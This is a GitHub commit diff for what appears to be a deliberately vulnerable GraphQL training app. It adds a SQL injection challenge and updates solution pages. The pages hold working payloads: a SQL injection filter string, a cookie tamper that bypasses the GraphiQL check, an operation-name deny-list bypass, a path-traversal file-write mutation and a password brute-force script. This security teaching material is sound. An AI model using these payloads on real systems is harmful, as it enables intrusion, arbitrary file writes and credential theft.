-
Notifications
You must be signed in to change notification settings - Fork 300
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #24 from dolevf/sql-injection
Add SQL injection
- Loading branch information
Showing
10 changed files
with
138 additions
and
99 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,32 +1,28 @@ | ||
<!-- Start --> | ||
<h3 style="color:purple" id="bypassauthz-igql"><b>Authorization Bypass :: GraphQL Interface Protection Bypass</b></h3> | ||
<h3 style="color:purple" id="inj-sql"><b>Injection :: SQL Injection</b></h3> | ||
<hr /> | ||
<h5>Problem Statement</h5> | ||
<p> | ||
GraphiQL is available at the path <code>/graphiql</code> with a poorly implemented authorization check. | ||
Pastes can be filtered using the <code>filter</code> parameter and it allows sending raw strings as query filters which are prone to SQL injections. | ||
</p> | ||
<h5>Resources</h5> | ||
<ul> | ||
<li> | ||
<a href="https://cwe.mitre.org/data/definitions/639.html" target="_blank"> | ||
<i class="fa fa-newspaper"></i> CWE-639 - Authorization Bypass Through User-Controlled Key | ||
<a href="https://portswigger.net/support/using-burp-to-detect-sql-injection-flaws" target="_blank"> | ||
<i class="fa fa-newspaper"></i> PortSwigger - SQL Injection | ||
</a> | ||
</li> | ||
</ul> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-igql')">Show</button></h5> | ||
<div id="sol-brokenauthz-igql" style="display:none"> | ||
<pre class="bash"> | ||
# Beginner mode | ||
|
||
# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection | ||
|
||
# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check: | ||
requests.post('http://host/graphiql', | ||
json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"}, | ||
cookies={'env':'graphiql:enable'} | ||
) | ||
|
||
# Expert mode | ||
# GraphiQL interface is disabled.</pre> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-inj-sql')">Show</button></h5> | ||
<div id="sol-inj-sql" style="display:none"> | ||
<pre class="bash"> | ||
# The filter parameter of the pastes operation allows escaping the SQL command and inject a SQL payload | ||
query { | ||
pastes(filter:"aaa ' or 1=1--") { | ||
content | ||
title | ||
} | ||
} | ||
</pre> | ||
</div> | ||
<!-- End --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,52 +1,32 @@ | ||
<!-- Start --> | ||
<h3 style="color:purple" id="bypassauthz-denylist"><b>GraphQL Query Deny List Bypass</b></h3> | ||
<h3 style="color:purple" id="bypassauthz-igql"><b>Authorization Bypass :: GraphQL Interface Protection Bypass</b></h3> | ||
<hr /> | ||
<h5>Problem Statement</h5> | ||
<p> | ||
Creating an <b>allow-list</b> or <b>deny-list</b> for GraphQL is a common technique to prevent malicious queries from | ||
being resolved by GraphQL. | ||
</p> | ||
<ul> | ||
<li> | ||
By defining an <b>allow-list</b>, the application server will have a "known good" queries it will allow, and | ||
reject anything else. | ||
</li> | ||
<li> | ||
By defining a <b>deny-list</b>, the application server will have a "known bad" queries it will reject, and allow | ||
anything else. | ||
</li> | ||
</ul> | ||
<p> | ||
In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we | ||
trust. It does not mean it cannot have flaws too. | ||
</p> | ||
<p> | ||
The application has a deny-list mechanism implemented that attempts to reject Health queries using the | ||
<code>systemHealth</code> query. | ||
</p> | ||
<p> | ||
The problem with this mechanism is that it does not take into consideration queries can have <a href="https://graphql.org/learn/queries/#operation-name" target="_blank">operation names</a>. | ||
GraphiQL is available at the path <code>/graphiql</code> with a poorly implemented authorization check. | ||
</p> | ||
<h5>Resources</h5> | ||
<ul> | ||
<li> | ||
<a href="https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries-16130a324a6b/" target="_blank"> | ||
<i class="fa fa-newspaper"></i> Apollo - Securing your GraphQL From Malicious Queries | ||
</a> | ||
</li> | ||
<li> | ||
<a href="https://cwe.mitre.org/data/definitions/184.html" target="_blank"> | ||
<i class="fa fa-newspaper"></i> CWE-184: Incomplete List of Disallowed Inputs | ||
<a href="https://cwe.mitre.org/data/definitions/639.html" target="_blank"> | ||
<i class="fa fa-newspaper"></i> CWE-639 - Authorization Bypass Through User-Controlled Key | ||
</a> | ||
</li> | ||
</ul> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-denylist')">Show</button></h5> | ||
<div id="sol-brokenauthz-denylist" style="display:none"> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-igql')">Show</button></h5> | ||
<div id="sol-brokenauthz-igql" style="display:none"> | ||
<pre class="bash"> | ||
# Expert mode | ||
# Beginner mode | ||
|
||
# Query systemHealth directly by calling /graphql and supplying an arbitrary operation name. | ||
# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection | ||
|
||
requests.post('http://host/graphql', json={"query":"query BypassMe{systemHealth}"}, headers={'X-DVGA-MODE':'Expert'})</pre> | ||
# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check: | ||
requests.post('http://host/graphiql', | ||
json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"}, | ||
cookies={'env':'graphiql:enable'} | ||
) | ||
|
||
# Expert mode | ||
# GraphiQL interface is disabled.</pre> | ||
</div> | ||
<!-- End --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,29 +1,52 @@ | ||
<!-- Start --> | ||
<h3 style="color:purple" id="misc-filewrite"><b>Miscellaneous :: Arbitrary File Write // Path Traversal</b></h3> | ||
<h3 style="color:purple" id="bypassauthz-denylist"><b>GraphQL Query Deny List Bypass</b></h3> | ||
<hr /> | ||
<h5>Problem Statement</h5> | ||
<p> | ||
The mutation <code>uploadPaste</code> allows uploading pastes from the user's computer by specifying the file along | ||
with the filename. The pastes are then stored on the server under a dedicated folder. The <code>filename</code> | ||
argument allows any string, effectively providing the ability to write the file to any location on the server's | ||
filesystem by traversing folders using <code>../../</code> | ||
Creating an <b>allow-list</b> or <b>deny-list</b> for GraphQL is a common technique to prevent malicious queries from | ||
being resolved by GraphQL. | ||
</p> | ||
<ul> | ||
<li> | ||
By defining an <b>allow-list</b>, the application server will have a "known good" queries it will allow, and | ||
reject anything else. | ||
</li> | ||
<li> | ||
By defining a <b>deny-list</b>, the application server will have a "known bad" queries it will reject, and allow | ||
anything else. | ||
</li> | ||
</ul> | ||
<p> | ||
In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we | ||
trust. It does not mean it cannot have flaws too. | ||
</p> | ||
<p> | ||
The application has a deny-list mechanism implemented that attempts to reject Health queries using the | ||
<code>systemHealth</code> query. | ||
</p> | ||
<p> | ||
The problem with this mechanism is that it does not take into consideration queries can have <a href="https://graphql.org/learn/queries/#operation-name" target="_blank">operation names</a>. | ||
</p> | ||
<h5>Resources</h5> | ||
<ul> | ||
<li> | ||
<a href="https://owasp.org/www-community/attacks/Path_Traversal" target="_blank"> | ||
<i class="fa fa-newspaper"></i> OWASP - Path Traversal | ||
<a href="https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries-16130a324a6b/" target="_blank"> | ||
<i class="fa fa-newspaper"></i> Apollo - Securing your GraphQL From Malicious Queries | ||
</a> | ||
</li> | ||
<li> | ||
<a href="https://cwe.mitre.org/data/definitions/184.html" target="_blank"> | ||
<i class="fa fa-newspaper"></i> CWE-184: Incomplete List of Disallowed Inputs | ||
</a> | ||
</li> | ||
</ul> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-filewrite')">Show</button></h5> | ||
<div id="sol-misc-filewrite" style="display:none"> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-denylist')">Show</button></h5> | ||
<div id="sol-brokenauthz-denylist" style="display:none"> | ||
<pre class="bash"> | ||
# Traverse the filesystem and place the file where you desire. | ||
mutation { | ||
uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){ | ||
result | ||
} | ||
}</pre> | ||
# Expert mode | ||
|
||
# Query systemHealth directly by calling /graphql and supplying an arbitrary operation name. | ||
|
||
requests.post('http://host/graphql', json={"query":"query BypassMe{systemHealth}"}, headers={'X-DVGA-MODE':'Expert'})</pre> | ||
</div> | ||
<!-- End --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,37 +1,29 @@ | ||
<!-- Start --> | ||
<h3 style="color:purple" id="misc-weakpass"><b>Miscellaneous :: GraphQL Query Weak Password Protection</b></h3> | ||
<h3 style="color:purple" id="misc-filewrite"><b>Miscellaneous :: Arbitrary File Write // Path Traversal</b></h3> | ||
<hr /> | ||
<h5>Problem Statement</h5> | ||
<p> | ||
The query <code>systemDiagnostics</code> is an administrative functionality that allows running a subset of system | ||
commands on the server. The query is governed by a username and password before processing the | ||
command. | ||
The mutation <code>uploadPaste</code> allows uploading pastes from the user's computer by specifying the file along | ||
with the filename. The pastes are then stored on the server under a dedicated folder. The <code>filename</code> | ||
argument allows any string, effectively providing the ability to write the file to any location on the server's | ||
filesystem by traversing folders using <code>../../</code> | ||
</p> | ||
<p> | ||
The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute | ||
force attacks against the server.</p> | ||
<h5>Resources</h5> | ||
<ul> | ||
<li> | ||
<a href="https://cwe.mitre.org/data/definitions/307.html" target="_blank"> | ||
<i class="fa fa-newspaper"></i> CWE-307 - Improper Restriction of Excessive Authentication Attempts | ||
<a href="https://owasp.org/www-community/attacks/Path_Traversal" target="_blank"> | ||
<i class="fa fa-newspaper"></i> OWASP - Path Traversal | ||
</a> | ||
</li> | ||
</ul> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-weakpass')">Show</button></h5> | ||
<div id="sol-misc-weakpass" style="display:none"> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-filewrite')">Show</button></h5> | ||
<div id="sol-misc-filewrite" style="display:none"> | ||
<pre class="bash"> | ||
# Brute Force attack with a list of passwords: | ||
passwordlist = ['admin123', 'pass123', 'adminadmin', '123'] | ||
|
||
for password in passwordlist: | ||
resp = requests.post('http://host/graphql', | ||
json = { | ||
"query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password), | ||
"variables":None | ||
}) | ||
|
||
if not 'errors' in resp.text: | ||
print('Password is', password)</pre> | ||
# Traverse the filesystem and place the file where you desire. | ||
mutation { | ||
uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){ | ||
result | ||
} | ||
}</pre> | ||
</div> | ||
<!-- End --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
<!-- Start --> | ||
<h3 style="color:purple" id="misc-weakpass"><b>Miscellaneous :: GraphQL Query Weak Password Protection</b></h3> | ||
<hr /> | ||
<h5>Problem Statement</h5> | ||
<p> | ||
The query <code>systemDiagnostics</code> is an administrative functionality that allows running a subset of system | ||
commands on the server. The query is governed by a username and password before processing the | ||
command. | ||
</p> | ||
<p> | ||
The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute | ||
force attacks against the server.</p> | ||
<h5>Resources</h5> | ||
<ul> | ||
<li> | ||
<a href="https://cwe.mitre.org/data/definitions/307.html" target="_blank"> | ||
<i class="fa fa-newspaper"></i> CWE-307 - Improper Restriction of Excessive Authentication Attempts | ||
</a> | ||
</li> | ||
</ul> | ||
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-weakpass')">Show</button></h5> | ||
<div id="sol-misc-weakpass" style="display:none"> | ||
<pre class="bash"> | ||
# Brute Force attack with a list of passwords: | ||
passwordlist = ['admin123', 'pass123', 'adminadmin', '123'] | ||
|
||
for password in passwordlist: | ||
resp = requests.post('http://host/graphql', | ||
json = { | ||
"query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password), | ||
"variables":None | ||
}) | ||
|
||
if not 'errors' in resp.text: | ||
print('Password is', password)</pre> | ||
</div> | ||
<!-- End --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
VERSION = '1.3.3' | ||
VERSION = '1.3.4' |